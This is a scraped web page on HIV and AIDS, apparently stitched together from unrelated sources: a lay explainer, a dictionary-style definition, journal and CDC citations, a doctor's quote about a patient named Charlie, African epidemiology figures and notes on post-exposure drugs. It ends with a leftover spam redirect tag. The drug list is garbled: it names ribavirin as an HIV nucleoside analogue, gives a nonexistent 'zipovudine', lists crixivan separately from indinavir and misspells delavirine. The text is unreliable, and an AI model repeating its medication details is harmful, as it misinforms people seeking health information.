HIV stands for Human Immunodeficiency Virus. It’s a virus that breaks down certain cells in your immune system (your body’s defense against diseases that helps you stay healthy). When HIV damages your immune system, it’s easier to get really sick and even die from infections that your body could normally fight off.
Some medicines used to treat HIV or other infections can cause a rash. It usually appears within a week or two of starting on a new medication. Sometimes the rash will clear up on its own. If it doesn’t, you may need to switch medicines.
A deficiency of cellular immunity induced by infection with the human immunodeficiency virus (HIV-1) and characterized by opportunistic diseases, including Pneumocystis jiroveci (formerly carinii) pneumonia, Kaposi sarcoma, oral hairy leukoplakia, cytomegalovirus disease, tuberculosis, Mycobacterium avium complex (MAC) disease, candidal esophagitis, cryptosporidiosis, isoporiasis, cryptococcosis, non-Hodgkin lymphoma, progressive multifocal leukoencephalopathy (PML), herpes zoster, and lymphoma. HIV is transmitted from person to person in cell-rich body fluids (notably blood and semen) through sexual contact, sharing of contaminated needles (as by IV drug abusers), or other contact with infected blood (as in accidental needlesticks among health care workers). Maternal-fetal transmission also occurs. The primary targets of HIV are cells with the CD4 surface protein, including principally helper T lymphocytes. Antibody to HIV, which appears in the serum 6 weeks to 6 months after infection, serves as a reliable diagnostic marker but does not bind or inactivate HIV. Gradual decline in the CD4 lymphocyte count, typically occurring over a period of 10-12 years, culminates in loss of ability to resist opportunistic infections. The appearance of one or more of these infections defines the onset of AIDS. In some patients, generalized lymphadenopathy, fever, weight loss, dementia, or chronic diarrhea occurs much earlier in the course of the infection. Untreated AIDS is uniformly lethal within 2-5 years after the first appearance of an opportunistic infection. Besides prophylaxis against opportunistic infection, standard therapy of HIV infection includes use of nucleoside analogues (for example, didanosine, lamivudine, ribavirin, stavudine, zipovudine), nonnucleoside reverse transcriptase inhibitors (for example, delavirine, efavirenz, nevirapine) and protease inhibitors (for example, atazanavir, crixivan, indinavir, ritonavir, saquinavir).
Choopanya K, Martin M, Suntharasam P, Sangkum U, Mock P, Leethochawalit M, et al. Antiretroviral prophylaxis for HIV infection in injecting drug users in Bangkok, Thailand (the Bangkok Tenofovir Study): a randomized, double-blind, placebo-controlled phase 3 trial. Lancet. 2013. 2083-90.
[Guideline] Centers for Disease Control and Prevention, Health Resources and Services Administration, National Institutes of Health, American Academy of HIV Medicine, Association of Nurses in AIDS Care, International Association of Providers of AIDS Care, et al. Recommendations for HIV Prevention with Adults and Adolescents with HIV in the United States, 2014: Summary for Clinical Providers. 2014. Available at http://stacks.cdc.gov/view/cdc/26063.
At this stage in the infection, persons infected with HIV exhibit few or no signs or symptoms for a few years to a decade or more. Viral replication is clearly ongoing during this time,  and the immune response against the virus is effective and vigorous. In some patients, persistent generalized lymphadenopathy is an outward sign of infection. During this time, the viral load, if untreated, tends to persist at a relatively steady state, but the CD4+ T-cell count steadily declines. This rate of decline is related to, but not easily predicted by, the steady-state viral load.
From the time of infection by HIV, AIDS normally develops within ten years, though there are now drugs which may be used to extend this time. The immune failure, which is characteristic of AIDS, occurs as a consequence of a gradual decline in the number of CD4 T lymphocytes. Eventually the infected person succumbs to a variety of infections by BACTERIA, FUNGI, protozoa or viruses and/or develops a cancer(s) such as Kaposi’s Sarcoma.
“Charlie does not have AIDS,” Huizenga said. “AIDS is a condition where the HIV virus markedly suppresses the immune system and you are susceptible to rare, difficult cancers and infections. Charlie has none of those. He is healthy; he does not have AIDS.”
Sub-Saharan Africa is the region most affected. In 2010, an estimated 68% (22.9 million) of all HIV cases and 66% of all deaths (1.2 million) occurred in this region. This means that about 5% of the adult population is infected and it is believed to be the cause of 10% of all deaths in children. Here in contrast to other regions women compose nearly 60% of cases. South Africa the largest population of people with HIV of any country in the world at 5.9 million. Life expectancy has fallen in the worst-affected countries due to HIV/AIDS; for example, in 2006 it was estimated that it had dropped from 65 to 35 years in Botswana. Mother-to-child transmission, as of 2013, in Botswana and South Africa has decreased to less than 5% with improvement in many other African nations due to improved access to antiretroviral therapy.
In terms of symptoms, children are less likely than adults to have an early acute syndrome. They are, however, likely to have delayed growth, a history of frequent illness, recurrent ear infections, a low white blood cell count, failure to gain weight, and unexplained fevers. Children with AIDS are more likely to develop bacterial infections, inflammation of the lungs, and AIDS-related brain disorders than are HIV-positive adults.
Doctors and the person who was exposed typically decide together whether to use these preventive drugs. They base the decision on the estimated risk of infection and the possible side effects of the drugs. If they do not know whether the source is infected with HIV, they consider how likely the source is to be infected. However, even when the source of the exposure is known to be infected with HIV, the risk of infection after exposure varies, depending on the type of exposure. For example, risk from a blood splash is less than that from a needlestick. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]